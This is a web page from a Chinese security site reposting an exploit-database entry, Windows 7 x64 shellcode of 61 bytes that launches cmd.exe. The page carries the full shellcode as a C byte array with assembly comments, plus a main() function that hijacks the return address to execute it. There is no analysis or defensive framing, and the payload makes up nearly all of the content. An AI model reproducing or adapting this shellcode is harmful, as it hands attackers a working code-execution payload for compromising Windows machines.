首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows Seven x64 (cmd) Shellcode 61 Bytes
来源:Inj3ct0r.com 作者:agix 发布时间:2010-06-01  

 /*
 | Title: Windows Seven x64 (cmd) Shellcode 61 Bytes
 | Type: Shellcode
 | Author: agix
 | Platform: win32
 | Info: Tested on Windows Seven Pro Fr, Ultimate En, Premium Home En
*/

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ##################################                1
0                    I'm agix member from Inj3ct0r Team                1
1                    ##################################                0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#include <stdio.h>

char shellcode[] =

"\x31\xC9"               //xor ecx,ecx
"\x64\x8B\x71\x30"           //mov esi,[fs:ecx+0x30]
"\x8B\x76\x0C"             //mov esi,[esi+0xc]
"\x8B\x76\x1C"             //mov esi,[esi+0x1c]
"\x8B\x36"               //mov esi,[esi]
"\x8B\x06"               //mov eax,[esi]
"\x8B\x68\x08"             //mov ebp,[eax+0x8]
"\xEB\x20"               //jmp short 0x35
"\x5B"                 //pop ebx
"\x53"                 //push ebx
"\x55"                 //push ebp
"\x5B"                 //pop ebx
"\x81\xEB\x11\x11\x11\x11"     //sub ebx,0x11111111
"\x81\xC3\xDA\x3F\x1A\x11"     //add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
"\xFF\xD3"               //call ebx
"\x81\xC3\x11\x11\x11\x11"     //add ebx,0x11111111
"\x81\xEB\x8C\xCC\x18\x11"     //sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
"\xFF\xD3"               //call ebx
"\xE8\xDB\xFF\xFF\xFF"         //call dword 0x15
//db "cmd"
"\x63\x6d\x64";


int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 sys_exit(0) shellcod
·linux/x86 cdrom ejecting shell
·Nginx 0.8.35 Space Character R
·linux/x86 sys_sethostname("PwN
·nginx [engine x] http server <
·linux/x86 sys_execve("/usr/bin
·IP2location.dll v1.0.0.1 Funct
·GoAheaad Webserver Source Code
·Windows Seven Pro SP1 64 Fr (B
·ZipExplorer 7.0 (.zar) DoS
·VLC Media Player <=1.0.6 Malfo
·Mediacoder v0.7.3.4672 SEH Exp
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved